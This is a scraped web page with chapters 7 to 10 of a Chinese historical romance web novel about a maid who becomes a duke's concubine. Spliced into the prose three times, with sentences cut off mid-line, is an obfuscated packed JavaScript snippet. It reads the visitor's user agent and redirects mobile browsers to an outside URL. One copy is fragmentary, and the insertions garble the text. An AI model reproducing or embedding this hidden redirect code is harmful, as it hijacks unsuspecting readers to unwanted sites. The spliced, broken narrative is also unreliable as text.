春雨一路送到她房门外，杨嬷嬷左等右等，终于等到了人，忙忙上前问：“你上哪去了，这个点才回来？” 谢过春雨，并目送她走开，柳薇才扯起嘴唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125169|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，回杨嬷嬷：“说来话长……嬷嬷，进去说吧。” 屋里点着两盏灯，不甚明亮，而足以令杨嬷嬷看清楚柳薇的异样。杨嬷嬷指着她的装束，说：“你几时换了衣服？不过我看着，这料子不俗，是给主子们专用的。还有你这脸色，煞白，眼睛也红肿……小柳，你老实说，你是不是遇上什么难事了？” 刨开杨嬷嬷，没有人会在意柳薇的去向，遑论留着灯张望她回来没有。柳薇珍视这份真情，毫无保留地诉说了今晚的种种。 杨嬷嬷听得目瞪口呆，反应过来，赶紧拉着她坐。瞅她淌下泪来，又拿出她放在床头枕畔的手帕子，替她擦泪。 “我竟不知你受了这么多苦……”杨嬷嬷长叹一声，“话又说回来，既然是国公爷，还允诺抬你做妾，这是实打实的喜事呀！往后，你用心伺候国公爷，讨国公爷喜欢，争取生儿生女，国公爷更高看你一眼，没准再扶你一级，成了国公夫人呢！傻孩子，你何必耿耿于怀，你的福气，在后头呢。” 柳薇摇头：“国公爷压根没把我当人，我也没有那等福气。” 杨嬷嬷拿手指轻轻一点她额头：“真如你说的，放着众多人，国公爷干嘛一个不传，只传你？”杨嬷嬷起身，“子时尽了，好了，傻姑娘，早点睡吧，养精蓄锐，明儿轻轻松去新地方。” 杨嬷嬷照顾她多处不方便，帮衬着她就寝，才吹灯回自己床铺。 黑暗中，柳薇睁着眼盘算： 萧绝肯给她个名分，皆因那毒，他从没将她视作一个有血有肉的人。她若不自量力坐上那侍妾的位子，日日绕着他转圈，以他冷酷的心性，但凡挑出她一次的毛病，有她难受的了。 横看竖看，做萧绝的妾，与低等奴才没什么两样，甚至都不如当奴才，起码那些活儿只可能压得她喘不过气来，不会像萧绝似的，动辄取她的小命。 再说了，她也不是天生的奴才命，阿娘也不是。她要自由，要救阿娘出来。 阿娘当时被抵了一百两白银，加上她卖身的三十两，按她现在做烧火丫头的月钱，哪怕不吃不喝，也得存到猴年马月去。但是府上侍妾的月钱，她之前听人议论过，是二两。如此一来，她省着点花销，一年能二十两，粗略预计也得六七年。 伴萧绝如半虎，她能不能平安活到六七年以后，尚未可知呢…… 柳薇叹了口气，翻了个身，不意牵动浑身的伤，立即痛得龇牙咧嘴。 杨嬷嬷没入睡，耳闻她那头窸窸窣窣，因转身朝着她的方向，问：“是口渴了，还是饿了？” 临睡前杨嬷嬷就问过柳薇渴不渴饿不饿，她摇头否认，叫杨嬷嬷别忙。她并未装模作样，是饿过了头，再由萧绝反复的操控，早已麻木了。 “不是，是我枕右边枕酸了，挪个位置。嬷嬷不用操心我，安心休息吧。”柳薇搪塞道。 “那你要是饿了渴了，或者想如厕了，你就喊我，不要怕麻烦。”杨嬷嬷对她不亚于对自己孙女了，可谓体贴入微。 心乱如麻中，柳薇应一声，没了下文。 8. 第八章 次日早起，杨嬷嬷帮柳薇挽着她的包袱，送她出门。路上瞅她愁眉不展，细心开导她：“小柳，你不要有的没的琢磨了。能去国公爷身边，是别人八辈子都求不来的福分。”杨嬷嬷捉着她衣袖，示意她往周围看，“你瞧，多少人盯着你，她们全羡慕呢。” 柳薇环顾四周，果真，夹道两侧，尽是人，纷纷朝她投来注视，当中就有春菱。 春菱冷笑一声，转头催促一起的丫鬟翡翠：“傻站着有你什么好处？还不快忙正事去！” 依春菱素日的脾气，准上去刻薄柳薇一通，怎奈她攀上了萧绝，一百个春菱也担待不起的人，唯有咽下满腔不忿，光给和自己一般的人难堪。 春菱新近和大夫人来往密切，大夫人似乎有意把春菱配给六少爷萧绘作通房丫头，翡翠见此形势，对春菱很是包容，说是巴结也不为过。 当下翡翠不言语，和春菱从柳薇眼前走开，走出去多远了，才低声说：“我就说，她昨晚不和大家一桌子吃，合着是另有打算。没想到真叫她算计成了。” 春菱嗤之以鼻：“成了那一回，也不代表从此飞上枝头变凤凰了。凭她能耐，做个小妾，顶天了，再妄想正头夫人？怕是叫人笑掉大牙了。” 国公府的夫人，平常官宦人家的女儿还不够格，必定是要世家大族出身的小姐，便是宫里的公主，也娶得起。她柳薇是个什么东西，一没家世背景，二没过人之处，哦，就那张脸比一般人强了点，料也掀不起风浪来。 春菱生得一副好皮囊，心气高，不甘下贱，总想着往上爬当主子，翡翠是知道的，也看好她，于是情愿捧着她：“是啊，这才第一天，早着呢。国公爷可不是好应付的，看她以后怎么样。” 春菱一扬头走人，柳薇明白她是窝着气，是针对自己的。柳薇不放在心上，和杨嬷嬷继续往前走。 快到萧绝院落的时候，迎面走来萧瑶，怀里抱着个盒子，她贴身丫鬟和奶娘紧紧跟随。 “是你啊。”见是柳薇，萧瑶走近了说，“昨晚你去哪了？我回头四处找你，也没找见，因此惊动了人。我母亲得着信儿，硬把我拽了回去，害我挨了数落。” 柳薇屈膝向这位小主子行了个礼，牵强一笑：“是我没看好姑娘，该是我领罚……” “事情都过去了，别提了。”萧瑶小小年纪，心胸宽广，摆摆手，不计较了，“看你没啥事，我心里也踏实了。” 萧瑶忽然注意到杨嬷嬷带着个包袱，就问：“怎么拿着包袱？你们要干什么去？” 柳薇道：“回三姑娘，包袱是我的，国公爷拨我去院里当差。” 萧瑶反应很大，转头冲奶娘眉飞色舞道：“奇了奇了奇了，我五哥居然允许丫头进他院子了！” 萧瑶一惊一乍，嗓门很大，搞得柳薇特别难为情，赔笑请求：“不是什么事，三姑娘请别这样，恐怕惊扰了国公爷……” 萧瑶无所谓：“五哥他早就起了，正要出门往宫里去呢，不存在扰不扰的。再说了，就是扰了，五哥一看是我，不能怨我的。” 萧瑶口中的萧绝，是慷慨疼爱小妹的好哥哥，和柳薇所见到的，判若两人。 萧绝彻头彻尾是个罗刹，断然接近不得。万一招惹上了，必然万劫不复。 柳薇苦笑道：“国公爷处处爱护三姑娘，三姑娘的命真好。” “那是当然啦。”萧瑶抽出一只手，打开怀中的盒子，展示里面塞得满满的各色糕点，“宫里御膳房的点心，我可爱吃了。前儿和五哥提了一嘴，昨儿五哥就托人捎出来了。可惜我昨晚又是找猫又是听我母亲训的，没赶上去取，不然我一个晚上就能掉吃一半。” 宫廷糕点，精致，柳薇有一大半没见过，不由多看了两眼。并不是馋，是在想：阿娘偏爱吃点心，等把以后把阿娘接出来，她一定学着捏很多很多漂亮的点心，让阿娘吃个痛快。 看她眼神直勾勾的，萧瑶以为她嘴馋，于是从盒子里拣出一块芙蓉糕，举手递出去：“多的嘛，我舍不得，只能分你一块。这是芙蓉糕，我最喜欢的，叫你尝个鲜。” 柳薇晓得分寸，含笑诚恳道：“这是国公爷特意为姑娘带的，姑娘自个儿吃吧。我不馋的，只是以前见得少，一时好奇，所以多留意了几眼。” 言下，前方下人们垂首，让出两个人，一个是身着绛紫官袍、头戴乌纱帽的萧绝，一个是捏着马鞭的东良。 柳薇心慌意乱，忙不迭拉着杨嬷嬷避至一边，低头见礼。 柳薇推着不接，萧瑶懒得管她，直接送到自己嘴里，一面啃嚼，一面回身，口齿不清地同萧绝打招呼。 觑这小妹妹吃得满嘴渣子，萧绝无奈摇头，指着乳母说：“给她擦擦。” “不用。”萧瑶吞下糕点，不拘小节地抬袖子一抹。 萧绝喜洁，所在之处堪称一尘不染，偏偏有个脏兮兮的小妹妹，算是一物降一物了。 萧瑶想起一个事，刚刚忘了说：“对了，五哥哥，你待会去宫里，碰上敬和公主，麻烦告诉公主一声，猫我找着了，因为怕一个没看住，再跑了，就暂时在我们屋子里，用个笼子关着。它好凶的，昨晚我抓它，挠了我一爪子呢，我不敢收留它了，请公主快快派个人来抱走吧。” 说完举高右手，令萧绝看手背上红红的一条抓痕。 萧绝目睹，令东良过会取凭金疮药交给萧瑶乳娘。由金疮药，不觉联想到一个人。眼风一扫，锁定院墙之下，卑躬的柳薇，沉着开口：“过来。” 和昨夜如出一辙的口吻，柳薇顿时省得在唤她，不敢磨蹭，垂首上前：“奴婢请国公爷的安。” 杨嬷嬷一同过来，萧绝不曾正视，目光降落在柳薇的头顶，轻嗤一声：“做奴才的，直盯着姑娘手里的吃食。怎么，府里亏待你，不给你饭吃了？” 柳薇窘迫地为自己解释：“回国公爷，是奴婢见识短浅，三姑娘的点心样样别致，奴婢这才没忍住痴看……” 萧绝默了片时，侧目交代东良：“一会去御膳房，多带几盒出来，给她一盒。免得传扬出去，说堂堂国公府吝啬，尽让下人饿肚子，逼得他们不顾尊卑，青天白日瞪着眼瞅主子手里的吃食。” 萧瑶抢在东良前头说：“那剩下的，可是全给我了？” 萧绝道：“你爱吃，自然给你。” 萧瑶喜得忙把点心盒子转给丫鬟托着，伸手抱住萧绝的手臂，来回摇憾：“五哥哥是天底下最最最好的哥哥，我最最最喜欢五哥哥啦！” 萧绝眉宇间流露嫌弃之色。萧瑶讪讪松开手，嘿嘿一笑：“我知道五哥哥嫌我才抓过糕点，手油。我记住了，我今后务必洗干净手，再挨你。” 急着去朝廷，萧绝且忍耐一番，昂首阔步，从柳薇面前行过，带起一阵微微的风，夹缠着一缕檀香，沁入她鼻腔。 昨夜，便是这气息，环绕在侧，挥之不去。 那段记忆过于骇人，柳薇做个深呼吸，尽量不去回忆。 杨嬷嬷靠着她站，察觉到她在发抖，小声问：“怎的了，抖个不住？” 柳薇佯装无事：“没事，就是天冷，感觉背上有点凉。” 杨嬷嬷瞧她穿得单薄，连件像样的冬衣也没有，心下一酸，反过来安慰她：“打今儿起，你只需要合国公爷的心意，国公爷舒坦，便有你的好日子。” 东良送萧绝出了大门，指派一个小厮，随他骑马上朝，后返回来安顿柳薇。 杨嬷嬷有自己的活儿要做，不能一直陪柳薇，柳薇便立在路旁，静候东良。 东良大步而来，她亦步亦趋。 东良将她领至正院的西厢房，窗明几净，视野开阔，恐怕不亚于上房，实是个绝佳安身之处。 “日后姑娘就住这里，离着正房近，便宜听从国公爷的差遣。”东良微微一笑，“日常所需，已经提前置办了一次，姑娘且再检查检查，缺什么，好叫他们补上。” 柳薇受宠若惊，连连摇头：“没有缺的，已经周到了。多谢管家为我费心。” 东良道：“姑娘是国公爷看中的人，以后就不用对我客气了，和国公爷一样，叫我东良就是；另外日常生活上有何处不妥的，尽管通知我，我尽力安置。” 柳薇回笑道：“我不过是运气好，要是作威作福的，那也太撒野了。您比我年长几岁，若是不介意，我就称您一声韩大哥吧。” 东良自点点头，以赞赏的目光看向柳薇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125170|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这小姑娘是个良善的，不枉国公爷对她另眼相待。嘴上却言：“什么韩大哥，忒折煞我了。” 人家平易近人，那是人家体面，柳薇更不能失了礼数，笑道：“韩大哥，屋子已看过了，我也不能当个闲人，就给我安排营生吧。” 柳薇清楚自己过来的用途，可不是享福的，是正经干活的。 她执意喊，东良没办法，一时颔首，退出门外，引她去正屋，道：“院子里有小厮们忙活，劳烦不上姑娘，只国公爷屋里没个细致的人。姑娘便负责洒扫屋子，如果国公爷在，就全凭国公爷吩咐，端茶递水之类的。” 环视屋内，床柜桌椅，单这几样，一个花瓶也没有，相当朴素。柳薇不觉流露诧异。 东良看出端倪，耐心解惑：“国公爷不常在屋里，一般回家，多半在前院书房里处理公务；并且国公爷也不喜欢花里胡哨的，简简单单够用就成。” 有用的留，无用的弃，直接粗暴，倒是符合萧绝的个性。 柳薇唯敢在心里嘀咕萧绝，明面上，话能省则省，生恐多说多错：“是，简简单单够用就好了。” 晌午，跟着萧绝进宫的小厮二毛回来一趟，专门把柳薇叫出来，塞给她一个盒子，说：“喏，给姑娘从御膳房带的点心。” 那盒子与萧瑶早晨抱着的是一个款式，柳薇一眼认出来，抱紧了它道：“麻烦你了。” 二毛说：“嗐，谢我做什么呀？这是国公爷的意思，该谢国公爷。” 不及柳薇答应，二毛一拍脑门，道：“哎呦，时辰不早了，我得快去宫里候着国公爷。柳姑娘慢慢吃，我先走了。” 御膳房出来的点心，柳薇不舍得吃，于是回屋里，想着天黑以后，和东良商量商量，能不能去一趟以前的住处，和杨嬷嬷见一面，把点心尽数馈赠给她，就算是对她老人家这么久以来关照自己的一点报答。 天擦黑，柳薇刚把正屋里各处点上了灯，门外就响起一阵脚步声。往窗外一探，见是东良和萧绝，柳薇慌了心神，匆匆到门口，低头相迎。 天寒地冻，萧绝外罩狐皮大氅，而屋子里拢着炭盆，烧得正旺，穿得厚了热得慌，因此萧绝一进门就解下大氅，随手一丢。 以前是东良接着，东良是个男人，力气大，不觉得大氅沉；眼前换成柳薇，骨瘦嶙峋的，猛地一接，险些被那大氅装了去，不由得踉跄两步。 此举吸引了萧绝。他驻足回头，看清是她，长眉渐渐压下来：“谁许你进来的？” 柳薇稳住重心，搂着沉坠坠的氅衣，垂头如实道：“回国公爷，是韩大哥……韩大管家让我进来……服侍您的。” “韩大哥？”萧绝嗤笑着，在屋里巡睃，并不见韩东良，便自行去椅子上坐定，道：“你出去，把他叫进来。” 他的话音里隐隐透着不悦，柳薇却并不知怎么得罪了他。胆战心惊将氅衣挂在衣架上，她蹑手蹑脚退出门外，在廊下见到了东良。 原来东良以为屋里有了柳薇，用不上他，就没跟进去；但又不太放心，怕柳薇第一天来，忙手忙脚，不利索，便在廊下侧耳听着里头的声响。 柳薇正欲开口，东良摆手道：“我听见了，我这就进去，姑娘在外面等着。” 东良入内，见萧绝正襟危坐，神色阴冷，不禁匪夷所思：一眨眼的工夫，这是怎么了？他赔笑道：“小的给您泡杯茶？” 萧绝一挑眉：“你几时也学的外人那套，揣摩心意，溜须拍马起来？” 东良道：“小的怎么敢……” “不敢？”萧绝冷哼，“不敢最好。” 东良终于意识到他是看柳薇不顺眼，便说：“小的以为您对柳薇……” 萧绝道：“抬她妾位，我已仁至义尽。” 东良道：“那小的安排她去别处……？” 萧绝默认。 东良速速出来，告诉柳薇：“国公爷喜欢清净，明儿起，姑娘还是在院子里干活吧。” 他们的对话，柳薇听了个七七八八，分毫不觉得遗憾，相反，如释重负。 萧绝提裤子翻脸无情是真，她从此少点战战兢兢也是真。 柳薇唯唯诺诺：“是。” 9. 第九章 先皇总共六个兄弟两个姐妹，这堆人中，属老二恭王老九敬和公主豪气，名下多处产业，而恭王的赌场来运楼则是规模最大、赚钱最多的。 是日，心腹匆忙禀报恭王：“王爷，赌场里出了人命案子，刑部直接带人封了现场！” 赌场嘛，三教九流之地，难免有人闹事，加上都是些赌红眼的人，难保有那亡命之徒，下手狠把人打死，并不稀奇，也不足挂齿。反正有皇亲贵胄的身份庇佑，官府来查办，也仅仅走个过场，没人敢拿恭王怎么样，何尝有惊动刑部的先例？ 恭王原搂着个美人吃酒嬉笑，闻此讯息，脸色大变，一把推走美人，喝令她出去，再质问心腹：“无非是几个赌徒聚众滋事，一时过了火，刑部却掺和这一脚……他们想干什么？” 心腹同样是才接着消息，恭王的问题，他答不上来。 恭王拍桌而起，抬脚往外走：“岂有此理！我倒要亲自问问邱宏，他想怎么着！” 邱宏担任刑部侍郎一职，一早算到恭王问讯必气急败坏，此刻就在刑部，静候恭王到来。 恭王是急赤白脸地进，面色铁青地出。 心腹如履薄冰地询问具体情况，恭王正好步至王府马车前，伸手一拳捶在车厢上，咬牙切齿地说：“我道邱宏那老东西怎么敢蹬鼻子上脸，原来是授萧绝之意，故意揭我老底！” 未等心腹转过弯来，恭王又捶了下车厢，说：“我不过是给他下了点药，献献殷勤，结果也没献成。他可是睚眦必报，干脆断我财路……好一个心狠手辣的家伙！” 恭王一头钻入车里，心腹追随。 恭王告诉车夫去吏部，萧绝是吏部尚书兼尚书令，下午一般在吏部处理公事。 车轮滚动间，心腹问：“王爷这是要去问萧绝……？” 恭王鼻子里哼出声音：“这还用得着问？” “那您……” “朝政皆在那小子把持中，他虽不是皇帝，也差不多了。这样的处境下，我没法和他作对，唯有忍耻恭维，赌场那事才能过去。” 满朝文武心知肚明，座上那小皇帝算个屁，“辅佐”他的萧绝，才是真皇帝。 萧绝向来是谁让他一日不痛快，他就让谁一世不痛快。如此淫威下，谁敢犯着他，那就等着倒霉吧！因此，来运楼一案，若想了结，只有恭王亲自出马，向萧绝伏低做小一条路。 同一条路上，两架马车擦身而过，背道而驰。 敬和放下车窗的帘子，语气轻蔑：“老二这人，就得萧绝来治，一治一个准。” 说着，伸手管秋云索要宠物雪球，旋即抱个满怀。 秋云笑道：“难得萧三姑娘是个有心的孩子，记着雪球，怨不得萧大人偏疼她。” 敬和纤细而白皙的指节，爱抚着猫头，可见地温柔，但口吻截然相反，充满讥诮：“从前是只偏疼他三妹妹，现如今，又多了一个了。” 说起来，敬和这趟出宫，皆因今早萧绝告诉她，雪球有下落了，现由萧瑶看着。一来她思猫心切，二来她在宫里无事可做，便乘车亲去了萧家。 见着萧瑶，仔细一问寻猫经过，方知好几天前萧瑶就托萧绝跟她提接猫这事了，萧绝却宁可拖着等着和她偶遇再说，也不愿意专程找她一次。 好巧不巧，抱猫离开的路上，抓着几个下人在暗处看着敬和嘀嘀咕咕，逼问之下，下人们竟说萧绝近来和一个婢子有染，还许那婢子做妾；更可笑的是，那婢子曾在萧老夫人.寿宴当日，惹了敬和不悦。 敬和恍然大悟：难怪萧绝坚持维护那个死丫头，敢情是有这层关系。 敬和是又觉得荒唐又觉得膈应，当即拂袖冷脸走人。 “一个下人，样样不出彩，想来萧大人只是一时兴起，长远不了的。”秋云不是说违心话宽慰敬和，是萧绝这些年，是远近闻名地清冷，不近女色，甚至敬和这等的绝代佳人他也不屑一顾，怎么可能真和一个平平无奇的婢女混在一起？ 敬和冷笑道：“一时兴起？那他还真是随随便便，什么货色也能下得去手。” * 萧绝容不下柳薇，柳薇也识趣，能躲则躲，尽可能不在他眼前出现。倘若狭路相逢，无处可藏，那就退让一旁，卑躬屈膝等他走过。幸而在他眼中，她连个蝼蚁都不如，当然不屑于存心为难她。 偶尔，干完一天的活儿，柳薇会去恳请东良，批准她回去看望杨嬷嬷。对此，既然她于萧绝可有可无，东良便不会拦着，只是提醒她注意时辰，别再像上次一样，闯了宵禁。她激动得满口答应。 难得一聚，杨嬷嬷是问东问西：吃得饱不饱？睡得好不好？和国公爷相处得如何了？……诸如此类。 柳薇实心眼，把萧绝赶她出屋子的事说给杨嬷嬷听。 杨嬷嬷对她不得主心，到处躲躲藏藏的处境表示惋惜。柳薇则笑一笑，又有别样的看法：“我现在吃得饱穿得暖，活儿也轻松，我很知足，不敢奢求其他的。” 杨嬷嬷啧啧摇头：“真是个傻孩子。” * 临近除夕，国公府各处张灯结彩，热闹非凡。 这头，东良也给柳薇派下了活计，她一大早便和两个小厮，围着院子挂灯笼贴窗花春联。她体型轻盈，由她上梯子，两个小厮扶着梯子，四处忙活，配合得倒是挺默契。 在走廊绕了一圈，把花灯全挂好，就来各间屋子外张贴对联。 那几间正屋，黑洞洞的，看着就发怵，柳薇心生怯意，和小厮商量好先贴东西厢房的，才挪梯子张罗正屋的。 将将爬上梯子，正伸手向小厮讨要横批，门帘突然掀开，东良走出来，仰头对她说：“姑娘快先下来，让国公爷出门。” 萧绝要出门？ ……他原来在屋里啊！ 柳薇对萧绝，畏之入骨，闻之色变，方寸大乱，脚下一崴，直直摔了下去。 万幸，两个小厮反应及时，托了她一把，没伤着要害，只是手心膝盖擦破了皮。 看她跌在一旁，东良刚准备问要不要紧，但见萧绝从身后拨帘子出来，斜睨一睨柳薇，对东良说：“是这蠢材糊涂了，还是你糊涂了？往后这种细活儿，你亲自干。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125171|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 言尽，举步扬长而去。 众目睽睽摔跟头，又被萧绝奚落成蠢材一个，柳薇既尴尬又惭愧。她忍耐痛楚起身，冲东良道：“是我成事不足败事有余，连累韩大哥了……对不起。” 东良温和一笑：“姑娘来府里也就半年，很多东西不熟不会，我理解。姑娘不要妄自菲薄，慢慢学就好了。姑娘伤着了，快去处理一下吧，这里且交给我了。”随后将脸扭向扶梯子的小厮，要来横批，款款登上梯子，专心忙碌起来。 帮不上忙，那也别添乱，柳薇轻手轻脚下去了。 萧绝一连三日未归，再回家，已是腊月二十九的早上。 东良迎出门，发现萧绝比之以往更为意气风发，便道：“您似乎心情不错。” 萧绝言简意赅：“只是端了个下九流的场所而已。” 东良知道他对来运楼下手了，不由面露惊色：“您指的下九流之地，莫非是恭王的来运楼吗？” 萧绝步态悠闲，“嗯”了一声，并不深讲，而是将话题向萧老夫人身上：“我连日不在家，祖母一切都好？” 恭王的赌场，说端就端，当今也就是国公爷，才有如此能力及胆识，无惧恭王他日报复。东良暗暗搓去掌心的冷汗，回答：“老祖宗一切都好，昨晚还念叨您，怕您绊在宫里，赶不上今年除夕呢。” 说时，来至萧老夫人处，萧绝向老夫人拱手问安，又依老夫人的手势，近前，一面由老夫人上下打量，一面与老夫人叙话：“恐怕要令祖母失望了，今年除夕，皇帝邀请孙儿去宫中赴宴，孙儿不便推托，应了下来。” 萧老夫人微微皱眉：“过个年，该是阖家团圆的日子，偏偏请你去宫里。唉……罢了罢了，你为人臣子，应当的。”而后拍着他的胳膊叮嘱：“你酒量不好，少喝些，多为自己的身体考虑。” 萧绝含笑道：“孙儿记住了，请祖母放心。” 萧老夫人点点头，又道：“我知你这程子案牍劳烦，就没过问你。今儿正好有闲暇——听闻你半个月前收了个丫头，放在院里？” 萧绝坦然道：“确有此事，孙儿今日过来，也是想着告诉您——” 萧老夫人静待后文。 “因为某些原因，孙儿与她有了瓜葛，那便给她个名分，纳作妾室。” 他对骤然纳妾的缘故三缄其口，萧老夫人不追问，单颔首道：“也好，你已事业有成，该成家了。不知那女孩子是谁？叫什么名字？模样性情如何？” 萧绝道：“原是灶上的一个烧火丫头，叫柳薇，模样尚可，性情愚钝，不值一提。” 萧老夫人看出他不待见那姑娘，笑了笑：“这是哪里的话？她既入了你的法眼，定然有特别之处。哪怕当真普普通通，那也是你的妾。”转而唤大丫鬟清心，去萧绝院里把柳薇请过来一见；再安顿萧绝：“你下午还要入宫，趁有点时间，你回去休息休息吧。那姑娘，我跟她单独说几句话，不会难为她的。” 萧老夫人菩萨心肠，待下宽厚，自然不会刁难柳薇。何况，萧绝才不在乎柳薇如何，自拱手敛目告退。 10. 第十章 清心来请柳薇，柳薇诚惶诚恐，慌忙跟着去见萧老夫人。 清心看穿她的惶恐，带笑安慰：“老太太待人亲和，此番请柳姑娘，只是以祖母的身份和姑娘叙一叙，姑娘何必畏首畏尾的。” 柳薇挤出一个笑：“不瞒姐姐，我从没见过老祖宗，也笨嘴拙舌的，担心出错，坏了老祖宗的好心情……” “老祖宗宽厚仁和，能体谅姑娘的紧张，便是出了错，也不会责怪姑娘的。”清心偏过脸来，对着前头的院落一指，“前面就到了，姑娘请随我进去吧。” 那院门上挂着副牌匾，上题三个大字：明心斋。 柳薇收回视线，跟紧清心的步伐，默默告诫自己，一会打起十二分精神，千万不能犯口舌是非。 明心斋暖阁内，萧老夫人端庄而坐，身边设着的矮几上搁有两杯茶，热气缭绕。 清心引柳薇入内，后去萧老夫人身侧，安静侍立。 柳薇低下头，不敢乱看，屈膝给老夫人磕头请安：“奴婢……见过老祖宗。” “起来吧。”萧老夫人一张嘴，不疾不徐、气定神闲，光听便知是位德高望重的老人家。 柳薇闻言，缓缓起身，见萧老夫人头发花白，慈眉善目，隐隐含笑。 “你今年多大了？”萧老夫人问。 “奴婢十七了，属羊的。” “讲起话来绵绵软软的，生得也乖乖巧巧的，还真应了你的属相，像个小羊羔子。”萧老夫人笑吟吟道。 萧老夫人举止亲切，柳薇心中的紧张感减轻些许，羞涩一笑：“我娘以前也总说我像只小羊……” 说及此处，她有所触动，渐渐没声了。 阿娘常常说，她和小羊一样听话，可一个人要是太听话，出去会吃亏受苦的。阿娘希望她可以坚强起来，面对风风雨雨，保全自己。 阿娘的忠告，她谨记于心。 她会坚强起来，好好照顾自己，绝不让阿娘失望。 看她满怀心事，萧老夫人轻轻一笑：“小五年轻有为，见了形形色色的人，他会选中你，大约是因为你乖顺懂事，让人放心。”老夫人端起茶抿一口，“现在，小五跟前只有你一个，将来，主母进门，你本本分分的，自然不会亏待你。” 萧老夫人说中了关键，萧绝会选柳薇，正是看她淳朴憨厚，收到身边也不会出幺蛾子，省事。 柳薇忙道：“是，奴婢谨遵老夫人的教诲。” 老夫人点点头，挺满意她自觉的态度，便招手示意她坐去对面吃茶，又递个眼色给清心。清心福身出去。 柳薇如坐针毡，捧着茶杯，小尝一口，又小心翼翼放回原处。 少顷，清心回来，手里多了个木盒子，直直交与柳薇。 柳薇不知其意，但不敢失敬，赶紧起立双手呈着；竟不知存放着什么物件，感觉沉甸甸的。 萧老夫人道：“这里头是把玉如意，现赠与你，当作你我的见面礼吧。” 柳薇立时表示：“这太贵重了，奴婢担当不起……” 萧老夫人口气随和：“什么贵不贵重的，左右闲置在我这里，只有落灰的份。再者说，你已是小五的妾，算半个主子，手下没有哪里不妥。另外，往后不用自称奴婢了。” 柳薇端着那盒子，垂头称是。 萧老夫人年事已高，精力不足，与她说了会话就开始犯困，便叫清心送她出去。 回程，与二毛打了个照面，也是从他口中得知萧绝终于出宫，眼下在正屋小憩。 柳薇缩缩脖子，抱着老太太的礼物，极尽低调地找着东良，说明前因后果：“……这玉如意，何其金贵，我是在领受不起。韩大哥经验丰富，所以我特来请教韩大哥，这东西该怎么办？” 两人对立长廊下，冷风来袭，吹得东良一阵咳嗽：“……老太太既给了姑娘，那姑娘大可收着。” 东良咳得面红耳赤，嘴唇又干，柳薇不禁面露忧色，提议道：“我看你病得不轻，要不回房歇歇，再请府医来开个方子吃着，以免病情加重了。” 东良已然头重脚轻，却依然撑着道无事，随柳薇自便了。 柳薇思来想去，究竟不放心，先回屋收好玉如意，后去拜托府医去为东良看诊。 不知不知道，一看吓一跳——东良发烧了，成了个火球，必须卧退烧休养。 饶东良烧得迷迷糊糊，仍然勉强将府里的大小事宜托付于众管事。至于萧绝晚间入宫赴宴，则多安排了几个得力的随行伺候。 今天除夕，大家聚在明心斋正厅陪萧老夫人过节，而柳薇如今顶着萧绝妾室的名头，萧老夫人自然想起她，因派人接她过来一块热闹。 几房老爷夫人、少爷姑娘，太多人，柳薇不认得几个，亏得有清心引她一个个见礼。 身为嫡母，大夫人素来萧绝面和心不和，那么对萧绝的一个妾，更是喜欢不起来，敷衍一两句作罢。 局促至子时，老夫人倦了，扶着清心的胳膊起身，对众人道：“我是顶不住了，剩下你们年轻的，随意乐呵吧。” 大伙纷纷恭送老夫人离开。 三夫人是个懒的，没精力也没兴趣继续应付一大家子，牵起两个女儿，与其他人告辞。 二夫人自嫁入萧家，就同大夫人不对付，亦借机叫上二老爷走开。 方才满满当当的厅里，霎时空寂下来，大夫人意兴阑珊，对右手边坐着一面吃酒，一面和角落里春菱眉目传情的小儿子说：“大家都没吃几杯，一瓶酒光进你肚子里了。起来，随我回去喝碗醒酒汤。” 萧绘不情不愿收住眼神，站起来，斜斜地打量柳薇两眼，讥笑着摇摇头，与大夫人一前一后出来，啧啧道：“我原以为萧绝多年不碰女人，肯定是眼光奇高，谁知瞧上个面黄肌瘦的豆芽菜。” 大夫人冷笑道：“你以为他像你，每天打我房里丫鬟的主意？我也不知是造的什么孽，生一个废一个，到头来被一个庶出的玩意儿逼得有苦不能言。” 大夫人共有四子一女，女儿是最大的，四个儿子里，夭折了两个，余下两个，即四少爷萧经六少爷萧绘。哥儿俩不学无术，成日走街串巷，萧经还比萧绘强些，早几年成了亲，在妻子的看管下，回归正途，现在朝中谋了个闲散的职位。 萧绘烦他母亲来来回回说教，支吾几句，先行一步，气得他母亲直在背后骂他无用、不孝。 外面大夫人怒气冲天，柳薇长了个心眼，没有立马出去，直等没声儿了，才出门。 她感念东良对自己的多处帮助，非常挂念他，遂疾步回院子，询问二毛他情况如何。 二毛道：“我才进去换了湿手巾，顺带摸了摸韩大哥的额头，没下午那么烫了。再睡一夜，应当能退烧。” 柳薇庆幸道：“没大碍就好。”又问：“夜深了，国公爷回来了吗？” 二毛道：“没呢，不过也快了。” 东良是个病人，身旁离不得人，二毛得回去看着。 